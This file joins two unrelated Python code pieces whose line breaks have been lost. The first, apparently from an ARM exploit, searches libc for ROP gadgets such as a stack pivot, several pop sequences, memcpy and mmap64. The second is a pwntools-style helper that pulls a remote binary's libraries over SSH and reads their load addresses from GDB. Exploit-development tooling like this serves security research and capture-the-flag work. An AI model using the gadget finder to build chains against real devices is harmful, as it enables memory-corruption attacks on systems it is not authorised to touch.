def find_rop_gadgets(path): global memcpy global mmap64 global stack_pivot global pop_pc global pop_r0_r3_r5_r6_pc global pop_r1_r2_r3_r4_pc global pop_r4_r5_r6_r7_pc global ldr_lr_bx_lr global ldr_lr_bx_lr_stack_pad e = elf.ELF(path) e.address = libc_base memcpy = e.symbols['memcpy'] print '[*] memcpy : 0x{:08x}'.format(memcpy) mmap64 = e.symbols['mmap64'] print '[*] mmap64 : 0x{:08x}'.format(mmap64) # .text:00013344 ADD R2, R0, #0x4C # .text:00013348 LDMIA R2, {R4-LR} # .text:0001334C TEQ SP, #0 # .text:00013350 TEQNE LR, #0 # .text:00013354 BEQ botch_0 # .text:00013358 MOV R0, R1 # .text:0001335C TEQ R0, #0 # .text:00013360 MOVEQ R0, #1 # .text:00013364 BX LR pivot_asm = '' pivot_asm += 'add r2, r0, #0x4c\n' pivot_asm += 'ldmia r2, {r4 - lr}\n' pivot_asm += 'teq sp, #0\n' pivot_asm += 'teqne lr, #0' stack_pivot = find_arm_gadget(e, pivot_asm) print '[*] stack_pivot : 0x{:08x}'.format(stack_pivot) pop_pc_asm = 'pop {pc}' pop_pc = find_gadget(e, pop_pc_asm) print '[*] pop_pc : 0x{:08x}'.format(pop_pc) pop_r1_r2_r3_r4_pc = find_gadget(e, 'pop {r1, r2, r3, r4, pc}') print '[*] pop_r1_r2_r3_r4_pc : 0x{:08x}'.format(pop_r1_r2_r3_r4_pc) pop_r0_r3_r5_r6_pc = find_gadget(e, 'pop {r0, r3, r5, r6, pc}') print '[*] pop_r0_r3_r5_r6_pc : 0x{:08x}'.format(pop_r0_r3_r5_r6_pc) pop_r4_r5_r6_r7_pc = find_gadget(e, 'pop {r4, r5, r6, r7, pc}') print '[*] pop_r4_r5_r6_r7_pc : 0x{:08x}'.format(pop_r4_r5_r6_r7_pc) ldr_lr_bx_lr_stack_pad = 0 for i in range(0, 0x100, 4): ldr_lr_bx_lr_asm = 'ldr lr, [sp, #0x{:08x}]\n'.format(i) ldr_lr_bx_lr_asm += 'add sp, sp, #0x{:08x}\n'.format(i + 8) ldr_lr_bx_lr_asm += 'bx lr' ldr_lr_bx_lr = find_gadget(e, ldr_lr_bx_lr_asm) if ldr_lr_bx_lr is not None: ldr_lr_bx_lr_stack_pad = i break
def find_module_addresses(binary, ssh=None, ulimit=False): """ Cheat to find modules by using GDB. We can't use ``/proc/$pid/map`` since some servers forbid it. This breaks ``info proc`` in GDB, but ``info sharedlibrary`` still works. Additionally, ``info sharedlibrary`` works on FreeBSD, which may not have procfs enabled or accessible. The output looks like this: :: info proc mapping process 13961 warning: unable to open /proc file '/proc/13961/maps' info sharedlibrary From To Syms Read Shared Object Library 0xf7fdc820 0xf7ff505f Yes (*) /lib/ld-linux.so.2 0xf7fbb650 0xf7fc79f8 Yes /lib32/libpthread.so.0 0xf7e26f10 0xf7f5b51c Yes (*) /lib32/libc.so.6 (*): Shared library is missing debugging information. Note that the raw addresses provided by ``info sharedlibrary`` are actually the address of the ``.text`` segment, not the image base address. This routine automates the entire process of: 1. Downloading the binaries from the remote server 2. Scraping GDB for the information 3. Loading each library into an ELF 4. Fixing up the base address vs. the ``.text`` segment address Arguments: binary(str): Path to the binary on the remote server ssh(pwnlib.tubes.tube): SSH connection through which to load the libraries. If left as :const:`None`, will use a :class:`pwnlib.tubes.process.process`. ulimit(bool): Set to :const:`True` to run "ulimit -s unlimited" before GDB. Returns: A list of pwnlib.elf.ELF objects, with correct base addresses. Example: >>> with context.local(log_level=9999): ... shell = ssh(host='example.pwnme', user='******', password='******') ... bash_libs = gdb.find_module_addresses('/bin/bash', shell) >>> os.path.basename(bash_libs[0].path) 'libc.so.6' >>> hex(bash_libs[0].symbols['system']) # doctest: +SKIP '0x7ffff7634660' """ # # Download all of the remote libraries # if ssh: runner = ssh.run local_bin = ssh.download_file(binary) local_elf = elf.ELF(os.path.basename(binary)) local_libs = ssh.libs(binary) else: runner = tubes.process.process local_elf = elf.ELF(binary) local_libs = local_elf.libs # # Get the addresses from GDB # libs = {} cmd = "gdb -q -nh --args %s | cat" % ( binary) # pipe through cat to disable colored output on GDB 9+ expr = re.compile(r'(0x\S+)[^/]+(.*)') if ulimit: cmd = ['sh', '-c', "(ulimit -s unlimited; %s)" % cmd] else: cmd = ['sh', '-c', cmd] with runner(cmd) as gdb: if context.aslr: gdb.sendline('set disable-randomization off') gdb.send(""" set prompt catch load run """) gdb.sendline('info sharedlibrary') lines = context._decode(gdb.recvrepeat(2)) for line in lines.splitlines(): m = expr.match(line) if m: libs[m.group(2)] = int(m.group(1), 16) gdb.sendline('kill') gdb.sendline('y') gdb.sendline('quit') # # Fix up all of the addresses against the .text address # rv = [] for remote_path, text_address in sorted(libs.items()): # Match up the local copy to the remote path try: path = next(p for p in local_libs.keys() if remote_path in p) except StopIteration: print("Skipping %r" % remote_path) continue # Load it lib = elf.ELF(path) # Find its text segment text = lib.get_section_by_name('.text') # Fix the address lib.address = text_address - text.header.sh_addr rv.append(lib) return rv